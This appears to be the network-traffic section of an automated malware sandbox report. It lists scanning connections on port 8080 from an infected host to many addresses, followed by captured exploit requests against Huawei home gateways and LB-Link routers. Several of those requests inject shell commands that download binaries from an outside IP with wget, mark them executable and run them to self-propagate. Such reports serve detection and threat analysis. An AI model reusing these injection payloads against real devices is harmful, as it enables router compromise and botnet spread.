Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 50.121.119.2:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 39.213.118.242:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 43.188.45.239:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 149.160.92.108:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 40.167.115.178:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 194.133.237.177:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 77.1.110.220:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 61.244.185.221:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 181.129.214.65:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 193.180.190.93:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 141.112.56.242:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 87.117.61.155:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 52.13.29.149:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 195.75.89.167:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 67.198.62.215:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 95.208.46.228:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 218.52.101.219:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 141.225.132.222:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 147.216.136.145:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 179.51.163.195:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 60.101.252.184:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 180.86.185.148:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 99.219.83.66:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 106.67.198.2:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 114.200.108.106:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 19.160.178.40:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 51.16.147.208:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 112.138.154.26:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 76.132.104.145:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 111.219.41.13:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 153.168.4.127:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 51.204.116.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 112.94.15.8:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 157.37.235.36:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 4.162.105.175:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 42.214.102.73:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 45.146.44.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 73.225.52.181:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 147.54.60.129:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 181.223.13.252:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 170.176.121.84:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 62.203.37.247:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 146.191.206.109:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 4.210.126.175:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 132.76.45.81:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 48.123.4.90:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 27.201.119.140:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 206.11.198.211:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 87.83.169.212:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 37.217.233.126:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 43.12.28.254:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 185.164.170.54:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 39.131.86.70:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 130.174.230.53:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 118.48.48.221:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 19.192.31.199:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 98.69.79.74:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 154.143.46.166:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 70.239.233.137:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 223.103.52.218:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 201.39.175.252:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 54.79.51.24:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 18.209.186.210:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 171.122.183.171:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 195.139.208.121:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 115.172.142.169:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 90.94.88.190:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 186.35.224.80:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 223.145.219.228:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 47.115.78.126:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 61.41.98.69:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 59.205.200.33:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 204.123.234.142:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 164.175.110.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 50.21.197.20:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 69.16.152.230:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 146.30.197.185:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 154.70.75.114:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 191.71.250.223:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 2.44.127.13:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 36.177.57.143:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 83.245.234.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 205.79.120.113:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 50.11.177.125:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 193.19.7.11:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 64.36.66.233:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 47.107.40.72:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 190.218.21.101:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 85.67.9.243:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 81.24.48.223:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 159.179.66.229:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 70.244.190.193:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 205.112.188.34:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 75.124.202.22:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 203.116.137.166:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 45.200.80.118:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 145.213.139.139:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 80.144.222.5:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 195.3.215.67:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 145.166.201.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 162.3.228.109:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 84.104.74.223:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 165.222.249.12:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 188.57.10.188:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 89.147.185.166:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 147.14.144.196:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 124.44.85.63:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 223.13.156.226:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 153.218.79.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 109.220.57.218:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 126.77.82.157:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 180.3.231.121:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 158.110.76.201:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 75.33.126.121:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 184.208.223.26:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 199.197.170.255:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 75.241.101.187:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 38.138.88.100:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 78.64.144.139:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 83.77.141.148:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 95.79.205.204:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 14.39.55.18:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 124.92.189.150:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 42.30.198.213:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 158.54.95.114:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 124.220.206.251:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 147.209.127.111:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 101.89.76.226:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 218.175.191.26:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 118.131.135.25:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 141.221.1.166:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 2.51.195.191:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 128.116.31.113:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 49.20.178.99:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 94.156.147.115:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 58.0.213.119:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 85.144.224.107:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 59.29.108.172:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 47.220.95.49:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 77.54.17.248:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 86.219.111.183:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 174.170.59.97:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 199.90.118.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 79.244.48.198:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 201.5.208.38:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 82.185.170.151:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 151.32.229.244:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 159.14.150.221:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 24.71.235.23:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 137.73.59.41:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 132.39.120.60:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 142.39.204.160:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 146.4.205.199:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 38.38.56.31:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 131.51.139.207:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 163.174.251.248:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 34.98.182.180:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 61.198.165.37:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 177.16.161.74:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 177.25.135.115:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 136.8.254.76:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 14.245.119.186:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 193.22.237.255:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 23.171.63.59:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 217.249.93.50:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 149.180.115.1:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 27.247.152.11:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 144.184.83.105:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 77.147.124.255:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 118.80.121.7:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 17.49.89.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 119.160.129.143:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 211.51.165.179:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 194.151.119.208:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 153.245.232.3:8080
Source: global traffic	TCP traffic: 192.168.2.23:65033 -> 187.94.199.250:8080

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
